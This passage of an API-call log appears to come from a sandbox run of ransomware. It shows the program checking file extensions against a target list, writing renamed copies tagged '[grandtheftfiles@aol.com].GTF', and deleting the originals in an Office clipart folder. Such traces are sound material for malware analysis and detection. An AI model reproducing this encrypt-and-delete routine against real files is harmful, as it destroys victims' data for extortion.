	[0162.325] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1
	[0162.325] lstrlenW (lpString=".ppt") returned 4
	[0162.325] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0162.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF") returned 68
	[0162.325] lstrlenW (lpString=".zip") returned 4
	[0162.325] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0162.325] lstrlenW (lpString=".rar") returned 4
	[0162.325] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0162.325] lstrlenW (lpString=".bz2") returned 4
	[0162.325] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0162.325] lstrlenW (lpString=".7z") returned 3
	[0162.325] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0162.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF") returned 68
	[0162.325] lstrlenW (lpString=".dbf") returned 4
	[0162.325] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0162.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF") returned 68
	[0162.325] lstrlenW (lpString=".1cd") returned 4
	[0162.325] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0162.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF") returned 68
	[0162.325] lstrlenW (lpString=".jpg") returned 4
	[0162.325] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0162.326] lstrcmpiW (lpString1=".BMP", lpString2=".GTF") returned -1
	[0162.326] lstrlenW (lpString="J0101862.BMP") returned 12
	[0162.326] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101862.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4
	[0162.326] GetFileSizeEx (in: hFile=0x4b4, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=32184) returned 1
	[0162.326] CloseHandle (hObject=0x4b4) returned 1
	[0162.326] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101862.bmp")) returned 0x220
	[0162.326] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101862.bmp.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0162.327] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101862.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4
	[0162.327] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.327] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.327] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101862.bmp.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538
	[0162.328] GetLastError () returned 0x0
	[0162.328] ReadFile (in: hFile=0x4b4, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0x7db8, lpOverlapped=0x0) returned 1
	[0162.331] WriteFile (in: hFile=0x538, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0x7dc0, lpOverlapped=0x0) returned 1
	[0162.332] ReadFile (in: hFile=0x4b4, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1
	[0162.332] WriteFile (in: hFile=0x538, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1
	[0162.332] SetEndOfFile (hFile=0x538) returned 1
	[0162.333] CloseHandle (hObject=0x538) returned 1
	[0162.333] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.333] SetEndOfFile (hFile=0x4b4) returned 1
	[0162.336] CloseHandle (hObject=0x4b4) returned 1
	[0162.336] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0162.336] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101862.bmp")) returned 1
	[0162.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP") returned 68
	[0162.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP") returned 68
	[0162.337] lstrlenW (lpString=".doc") returned 4
	[0162.337] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1
	[0162.337] lstrlenW (lpString=".docx") returned 5
	[0162.337] lstrcmpiW (lpString1=".docx", lpString2="2.BMP") returned -1
	[0162.337] lstrlenW (lpString=".pdf") returned 4
	[0162.337] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1
	[0162.337] lstrlenW (lpString=".xls") returned 4
	[0162.337] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1
	[0162.337] lstrlenW (lpString=".xlsx") returned 5
	[0162.337] lstrcmpiW (lpString1=".xlsx", lpString2="2.BMP") returned -1
	[0162.337] lstrlenW (lpString=".ppt") returned 4
	[0162.337] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1
	[0162.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP") returned 68
	[0162.337] lstrlenW (lpString=".zip") returned 4
	[0162.337] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1
	[0162.337] lstrlenW (lpString=".rar") returned 4
	[0162.337] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1
	[0162.337] lstrlenW (lpString=".bz2") returned 4
	[0162.337] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1
	[0162.337] lstrlenW (lpString=".7z") returned 3
	[0162.337] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1
	[0162.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP") returned 68
	[0162.337] lstrlenW (lpString=".dbf") returned 4
	[0162.337] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1
	[0162.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP") returned 68
	[0162.337] lstrlenW (lpString=".1cd") returned 4
	[0162.337] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1
	[0162.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP") returned 68
	[0162.337] lstrlenW (lpString=".jpg") returned 4
	[0162.337] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1
	[0162.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP") returned 68
	[0162.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP") returned 68
	[0162.338] lstrlenW (lpString=".doc") returned 4
	[0162.338] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1
	[0162.338] lstrlenW (lpString=".docx") returned 5
	[0162.338] lstrcmpiW (lpString1=".docx", lpString2="2.BMP") returned -1
	[0162.338] lstrlenW (lpString=".pdf") returned 4
	[0162.338] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1
	[0162.338] lstrlenW (lpString=".xls") returned 4
	[0162.338] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1
	[0162.338] lstrlenW (lpString=".xlsx") returned 5
	[0162.338] lstrcmpiW (lpString1=".xlsx", lpString2="2.BMP") returned -1
	[0162.338] lstrlenW (lpString=".ppt") returned 4
	[0162.338] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1
	[0162.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP") returned 68
	[0162.338] lstrlenW (lpString=".zip") returned 4
	[0162.338] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1
	[0162.338] lstrlenW (lpString=".rar") returned 4
	[0162.338] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1
	[0162.338] lstrlenW (lpString=".bz2") returned 4
	[0162.338] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1
	[0162.338] lstrlenW (lpString=".7z") returned 3
	[0162.338] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1
	[0162.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP") returned 68
	[0162.338] lstrlenW (lpString=".dbf") returned 4
	[0162.338] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1
	[0162.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP") returned 68
	[0162.338] lstrlenW (lpString=".1cd") returned 4
	[0162.338] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1
	[0162.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP") returned 68
	[0162.338] lstrlenW (lpString=".jpg") returned 4
	[0162.338] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1
	[0162.339] lstrcmpiW (lpString1=".BMP", lpString2=".GTF") returned -1
	[0162.339] lstrlenW (lpString="J0101863.BMP") returned 12
	[0162.339] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101863.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4
	[0162.339] GetFileSizeEx (in: hFile=0x4b4, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=32184) returned 1
	[0162.339] CloseHandle (hObject=0x4b4) returned 1
	[0162.339] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101863.bmp")) returned 0x220
	[0162.339] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101863.bmp.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0162.340] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101863.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4
	[0162.340] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.340] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.340] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101863.bmp.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538
	[0162.340] GetLastError () returned 0x0
	[0162.340] ReadFile (in: hFile=0x4b4, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0x7db8, lpOverlapped=0x0) returned 1
	[0162.343] WriteFile (in: hFile=0x538, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0x7dc0, lpOverlapped=0x0) returned 1
	[0162.344] ReadFile (in: hFile=0x4b4, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1
	[0162.344] WriteFile (in: hFile=0x538, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1
	[0162.344] SetEndOfFile (hFile=0x538) returned 1
	[0162.344] CloseHandle (hObject=0x538) returned 1
	[0162.345] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.345] SetEndOfFile (hFile=0x4b4) returned 1
	[0162.348] CloseHandle (hObject=0x4b4) returned 1
	[0162.348] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0162.348] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101863.bmp")) returned 1
	[0162.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP") returned 68
	[0162.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP") returned 68
	[0162.349] lstrlenW (lpString=".doc") returned 4
	[0162.349] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1
	[0162.349] lstrlenW (lpString=".docx") returned 5
	[0162.349] lstrcmpiW (lpString1=".docx", lpString2="3.BMP") returned -1
	[0162.349] lstrlenW (lpString=".pdf") returned 4
	[0162.349] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1
	[0162.349] lstrlenW (lpString=".xls") returned 4
	[0162.349] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1
	[0162.349] lstrlenW (lpString=".xlsx") returned 5
	[0162.349] lstrcmpiW (lpString1=".xlsx", lpString2="3.BMP") returned -1
	[0162.349] lstrlenW (lpString=".ppt") returned 4
	[0162.349] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1
	[0162.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP") returned 68
	[0162.349] lstrlenW (lpString=".zip") returned 4
	[0162.349] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1
	[0162.349] lstrlenW (lpString=".rar") returned 4
	[0162.349] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1
	[0162.349] lstrlenW (lpString=".bz2") returned 4
	[0162.349] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1
	[0162.349] lstrlenW (lpString=".7z") returned 3
	[0162.349] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1
	[0162.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP") returned 68
	[0162.349] lstrlenW (lpString=".dbf") returned 4
	[0162.349] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1
	[0162.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP") returned 68
	[0162.349] lstrlenW (lpString=".1cd") returned 4
	[0162.349] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1
	[0162.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP") returned 68
	[0162.349] lstrlenW (lpString=".jpg") returned 4
	[0162.349] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1
	[0162.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP") returned 68
	[0162.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP") returned 68
	[0162.350] lstrlenW (lpString=".doc") returned 4
	[0162.350] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1
	[0162.350] lstrlenW (lpString=".docx") returned 5
	[0162.350] lstrcmpiW (lpString1=".docx", lpString2="3.BMP") returned -1
	[0162.350] lstrlenW (lpString=".pdf") returned 4
	[0162.350] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1
	[0162.350] lstrlenW (lpString=".xls") returned 4
	[0162.350] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1
	[0162.350] lstrlenW (lpString=".xlsx") returned 5
	[0162.350] lstrcmpiW (lpString1=".xlsx", lpString2="3.BMP") returned -1
	[0162.350] lstrlenW (lpString=".ppt") returned 4
	[0162.350] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1
	[0162.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP") returned 68
	[0162.350] lstrlenW (lpString=".zip") returned 4
	[0162.350] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1
	[0162.350] lstrlenW (lpString=".rar") returned 4
	[0162.350] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1
	[0162.350] lstrlenW (lpString=".bz2") returned 4
	[0162.350] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1
	[0162.350] lstrlenW (lpString=".7z") returned 3
	[0162.350] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1
	[0162.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP") returned 68
	[0162.350] lstrlenW (lpString=".dbf") returned 4
	[0162.350] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1
	[0162.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP") returned 68
	[0162.350] lstrlenW (lpString=".1cd") returned 4
	[0162.350] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1
	[0162.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP") returned 68
	[0162.350] lstrlenW (lpString=".jpg") returned 4
	[0162.350] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1
	[0162.350] lstrcmpiW (lpString1=".BMP", lpString2=".GTF") returned -1
	[0162.351] lstrlenW (lpString="J0101864.BMP") returned 12
	[0162.351] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101864.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4
	[0162.352] GetFileSizeEx (in: hFile=0x4b4, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=31968) returned 1
	[0162.352] CloseHandle (hObject=0x4b4) returned 1
	[0162.352] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101864.bmp")) returned 0x220
	[0162.352] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101864.bmp.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0162.353] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101864.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4
	[0162.353] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.353] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.655] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101864.bmp.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0162.798] GetLastError () returned 0x0
	[0162.798] ReadFile (in: hFile=0x4b4, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0x7ce0, lpOverlapped=0x0) returned 1
	[0162.823] WriteFile (in: hFile=0x548, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0x7cf0, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0x7cf0, lpOverlapped=0x0) returned 1
	[0162.824] ReadFile (in: hFile=0x4b4, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1
	[0162.824] WriteFile (in: hFile=0x548, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1
	[0162.824] SetEndOfFile (hFile=0x548) returned 1
	[0162.824] CloseHandle (hObject=0x548) returned 1
	[0162.824] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.824] SetEndOfFile (hFile=0x4b4) returned 1
	[0162.827] CloseHandle (hObject=0x4b4) returned 1
	[0162.827] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0162.828] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101864.bmp")) returned 1
	[0162.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP") returned 68
	[0162.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP") returned 68
	[0162.828] lstrlenW (lpString=".doc") returned 4
	[0162.828] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1
	[0162.828] lstrlenW (lpString=".docx") returned 5
	[0162.828] lstrcmpiW (lpString1=".docx", lpString2="4.BMP") returned -1
	[0162.828] lstrlenW (lpString=".pdf") returned 4
	[0162.828] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1
	[0162.828] lstrlenW (lpString=".xls") returned 4
	[0162.828] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1
	[0162.828] lstrlenW (lpString=".xlsx") returned 5
	[0162.829] lstrcmpiW (lpString1=".xlsx", lpString2="4.BMP") returned -1
	[0162.829] lstrlenW (lpString=".ppt") returned 4
	[0162.829] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1
	[0162.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP") returned 68
	[0162.829] lstrlenW (lpString=".zip") returned 4
	[0162.829] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1
	[0162.829] lstrlenW (lpString=".rar") returned 4
	[0162.829] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1
	[0162.829] lstrlenW (lpString=".bz2") returned 4
	[0162.829] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1
	[0162.829] lstrlenW (lpString=".7z") returned 3
	[0162.829] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1
	[0162.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP") returned 68
	[0162.829] lstrlenW (lpString=".dbf") returned 4
	[0162.829] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1
	[0162.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP") returned 68
	[0162.829] lstrlenW (lpString=".1cd") returned 4
	[0162.829] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1
	[0162.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP") returned 68
	[0162.829] lstrlenW (lpString=".jpg") returned 4
	[0162.829] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1
	[0162.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP") returned 68
	[0162.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP") returned 68
	[0162.829] lstrlenW (lpString=".doc") returned 4
	[0162.829] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1
	[0162.829] lstrlenW (lpString=".docx") returned 5
	[0162.829] lstrcmpiW (lpString1=".docx", lpString2="4.BMP") returned -1
	[0162.829] lstrlenW (lpString=".pdf") returned 4
	[0162.829] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1
	[0162.829] lstrlenW (lpString=".xls") returned 4
	[0162.829] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1
